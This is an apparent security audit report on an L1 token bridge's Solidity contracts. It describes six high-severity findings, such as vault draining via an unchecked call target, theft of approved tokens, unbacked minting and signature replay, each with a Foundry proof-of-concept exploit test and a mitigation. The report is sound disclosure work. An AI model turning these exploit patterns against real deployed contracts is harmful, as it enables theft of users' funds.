Protocol Audit Report

Version 1.0

ZenoraSec

August 13, 2024

Protocol Audit Report

ZenoraSec

August 13, 2024

Prepared by: ZenoraSec

Lead Security Researcher: Jeremy Zenora

Table of Contents

    * [H-4] Function `L1BossBridge::depositTokensToL2` with `L1Vault` contract address as `from` parameter causes infinite mint of unbacked tokens for the attacker
    * [H-5] Function `L1BossBridge::sendToL1` does not check if the signature is being reused, causing a possible signature replay attack
    * [H-6] Signers might pay enormous gas fees when signing if malicious users make the return value very large
  - Informational
    * [I-1] In function `L1BossBridge::depositTokensToL2`, event `Deposit` should be emitted before the `token.safeTransferFrom` call
    * [I-2] `L1BossBridge::DEPOSIT_LIMIT` variable should be constant

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here. In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

Disclaimer

The ZenoraSec team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L

	Impact			
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

Executive Summary

We found a few major issues that contradicted the logic and original use of the protocol. We recommend to rethink the way the whole protocol works as suggested in the findings below. We used foundry framework with tools such as fuzzing, symbolic/formal verification, manual review.

Issues found

Severity	Number of issues found
High	6
Medium	0
Low	0
Info	2
Total	8

Findings

High

[H-1] In function `TokenFactory::deployToken`, contract creation on ZKSYNC blockchain will not work, zksync does

Description: In ZKSYNC, opcodes and compiling works different than on ethereum, compiler needs to be aware of the bytecode beforehand.

please read https://docs.zksync.io/build/developer-reference/ethereum-differences/evm-instructions

Impact: Contract will not get deployed on ZKSYNC.

This is correct way of launching a token on ZKSYNC, you pass the bytecode into a variable and ONLY THEN create the contract.

```
bytes memory bytecode = type(MyContract).creationCode;
assembly {
    addr := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
```

[H-2] Users can use function `L1BossBridge::sendToL1` to set `target` address to `vault` address and drain all tokens from the vault

Description: In `sendToL1` you give users the right to set address `target` to whatever they inputted, no input validation is in place, making the function vulnerable to scenario where users set the address of the vault where all the tokens are already preapproved for the L1BossBridge contract, making it possible for the users to set parameters which call approve the tokens for the attacker, who then transfers them to himself.

Impact: All tokens from the bridge(vault) can be drained and transferred to the attacker.

Proof of Concept:

1. Attacker deposits
2. calls `sendToL1` function to withdraw
3. in the encoded `message` we put parameters to call `L1Vault.approveTo` and allow ourselves to spend all the tokens
4. transfer the tokens from vault to attacker's address.

PoC

```
function testTargetCallCanApproveTheAttacker() public {
        address attacker = makeAddr("attacker");
        uint256 startingVaultBalance = 500e18;
        uint256 startingAttackerBalance = 100e18;

        deal(address(token), attacker, startingAttackerBalance);
        deal(address(token), address(vault), startingVaultBalance);

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), startingAttackerBalance);
        tokenBridge.depositTokensToL2(
            attacker,
            attacker,
            startingAttackerBalance
        );

        //we get signature
        bytes memory message = abi.encode(
            address(vault),
            0,
            abi.encodeCall(
                L1Vault.approveTo,
                (address(attacker), token.balanceOf(address(vault)))
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message))
        );

        tokenBridge.sendToL1(v, r, s, message);
        assert(
            token.allowance(address(vault), attacker) ==
                token.balanceOf(address(vault))
        );
        token.transferFrom(
            address(vault),
            attacker,
            token.balanceOf(address(vault))
        );

        uint256 endingAttackerBalance = token.balanceOf(attacker);
        uint256 endingVaultBalance = token.balanceOf(address(vault));

        assert(endingVaultBalance == 0);
        assert(
            endingAttackerBalance ==
                startingVaultBalance + startingAttackerBalance
        );
    }
```

Recommended Mitigation: Make a check for the target addres, make sure it is not the Bridge address or the Vault address.

[H-3] Function `L1BossBridge::depositTokensToL2` uses arbitrary `from` as parameter in `transferFrom` with no checks, users can deposit someone else's tokens if they approved the bridge for spending and thus own them

Description: Attacker can wait for user to approve the tokens for the bridge, and once they do that, attacker can call `depositTokensToL2` on their behalf passing their address as `from` parameter, and pass attacker's address as `l2Recipient` with all of user's approved amount, effectively stealing all their money.

Impact: User can lose all their approved tokens.

Proof of Concept:

1. Innocent user approves the tokens for spending of the bridge in order to deposit.
2. Attacker frontruns their deposit / backrun their approve and call `depositTokensToL2` with their approved tokens.
3. Attacker can then withdraw stolen money

PoC

```
function testDepositArbitraryFrom() public {
        address innocentUser = makeAddr("innocentUser");
        address attacker = makeAddr("attacker");
        uint256 depositAmount = 1000e18;

        vm.startPrank(deployer);
        token.transfer(address(innocentUser), depositAmount);
        vm.stopPrank();

        vm.startPrank(innocentUser);
        token.approve(address(tokenBridge), depositAmount);
        vm.stopPrank();

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(innocentUser, attacker, depositAmount);
        tokenBridge.depositTokensToL2(innocentUser, attacker,
            depositAmount);

        assertEq(token.balanceOf(innocentUser), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation: Add a check to verify that the `from` is e.g. `msg.sender` to make sure only the rightful person can spend their own money.

[H-4] Function `L1BossBridge::depositTokensToL2` with `L1Vault` contract address as `from` parameter causes infinite mint of unbacked tokens for the attacker

Description: Deposit function allows users to pass any address as the `from` parameter. If we input address(vault) as param, because the vault has already all tokens preapproved to the bridge, we can easily then transfer all tokens from the vault to ourselves.

Impact: Infinite mint of unbacked tokens on another chain.

Proof of Concept:

1. attacker passes the Vault's address and `from` parameter and calls deposit function
2. function transfer the tokens required, that it has approved (which is infinite)
3. attacker gets the funds assigned to him, and can repeat this over and over.

PoC

```
function testWithdrawAllTokensFromVault() public {
        address attacker = makeAddr("attacker");
        uint256 depositAmount = 500 ether;
        deal(address(token), address(vault), depositAmount);

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, depositAmount);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            depositAmount);
        vm.stopPrank();

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, depositAmount);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            depositAmount);
        vm.stopPrank();

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, depositAmount);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation: Put some restrictions on the `from` parameter, like `require(msg.sender == from)`.

[H-5] Function `L1BossBridge::sendToL1` does not check if the signature is being reused, causing a possible signature replay attack

Description: in `sendToL1` you do not check if the signature was already used, attacker can reuse the same signature to withdraw same amounts of money repeatedly until the contract's balance is zero.

Impact: All tokens in the contract can be drained.

Proof of Concept:

1. Attacker calls a deposit function to the bridge
2. Once they get signature from on-chain they copy it and withdraw many times with the same signature to drain the contract.

PoC

```
function testReplayAttackWithdrawal() public {
        address attacker = makeAddr("attacker");
        uint256 startingVaultBalance = 500e18;
        uint256 startingAttackerBalance = 100e18;

        deal(address(token), attacker, startingAttackerBalance);
        deal(address(token), address(vault), startingVaultBalance);

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), startingAttackerBalance);
        tokenBridge.depositTokensToL2(
            attacker,
            attacker,
            startingAttackerBalance
        );

        //we get signature
        bytes memory message = abi.encode(
            address(token),
            0,
            abi.encodeCall(
                IERC20.transferFrom,
                (address(vault), attacker, startingAttackerBalance)
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message))
        );
```

```

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(
                attacker,
                startingAttackerBalance,
                v,
                r,
                s
            );
        }
        uint256 endingAttackerBalance = token.balanceOf(attacker);
        uint256 endingVaultBalance = token.balanceOf(address(vault));

        console2.log("Starting balance of vault:    ", startingVaultBalance);
        console2.log("Ending balance of vault:      ", endingVaultBalance);
        console2.log("Starting balance of attacker: ", startingAttackerBalance);
        console2.log("Ending balance of attacker:   ", endingAttackerBalance);

        assertEq(endingVaultBalance, 0);
    }
```

Recommended Mitigation: Use some kind of check to make sure that signature was already used once, and is being used second time and stop it. One good idea is to include nonce in the signature, nonce can be replayed only once, making sure that the address wont be able to replay the withdrawal.

[H-6] Signers might pay enormous gas fees when signing if malicious users make the return value very large

Description: An attacker can exploit the sendToL1 function by deploying a malicious contract that returns an excessively large amount of data. When an unsuspecting signer signs a transaction involving this contract, they could incur significantly high gas fees due to the large return data size, which must be processed. This attack does not benefit the attacker directly but can cause significant financial harm to the signer.

Impact: The signer ends up paying excessively high gas fees, potentially leading to financial losses. This could also discourage legitimate use of the platform due to the risk of high fees.

Proof of Concept:

1. Attacker creates a malicious contract that has large output on the return value of function.
2. when calling `sendToL1` function, attacker inputs the address of evil contract as target

3. Unknowing signer signs the message, but gets enormous return value and ends up paying a lot of fees.
4. Attacker gets no benefit but the signer suffers a lot of damage.

PoC

```
function testGasBombForSigner() public {
        address attacker = makeAddr("attacker");
        uint256 startingVaultBalance = 500e18;
        uint256 startingAttackerBalance = 100e18;

        deal(address(token), attacker, startingAttackerBalance);
        deal(address(token), address(vault), startingVaultBalance);

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), startingAttackerBalance);
        tokenBridge.depositTokensToL2(
            attacker,
            attacker,
            startingAttackerBalance
        );
        BadGuy hackCA = new BadGuy();

        // Create a malicious message
        bytes memory message = abi.encode(
            address(hackCA),
            0, // No ETH transfer
            abi.encodeCall(
                BadGuy.youveActivateMyTrapCard, // Calling the gas bomb
                     function
                (address(attacker), token.balanceOf(address(vault)))
            )
        );
        uint256 gasBefore = gasleft();
        // Generate a valid signature for the malicious message
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message))
        );

        // Try to execute the malicious message in L1BossBridge
        tokenBridge.sendToL1(v, r, s, message);
        uint256 gasAfter = gasleft();
        uint256 gasUsed = gasBefore - gasAfter;

        console2.log("Gas used: ", gasUsed);
    }
```

Recommended Mitigation: Implement safeguards to limit the amount of return data your contract will accept or process. Employ safe call methods like excessivelySafeCall to limit how much data can be returned during an external call.

Informational

[I-1] In function `L1BossBridge::depositTokensToL2`, event `Deposit` should be emitted before the `token.safeTransferFrom` call

```diff
+    emit Deposit(from, l2Recipient, amount);
     token.safeTransferFrom(from, address(vault), amount);
     // Our off-chain service picks up this event and mints the
        corresponding tokens on L2
-    emit Deposit(from, l2Recipient, amount);
```

[I-2] `L1BossBridge::DEPOSIT_LIMIT` variable should be constant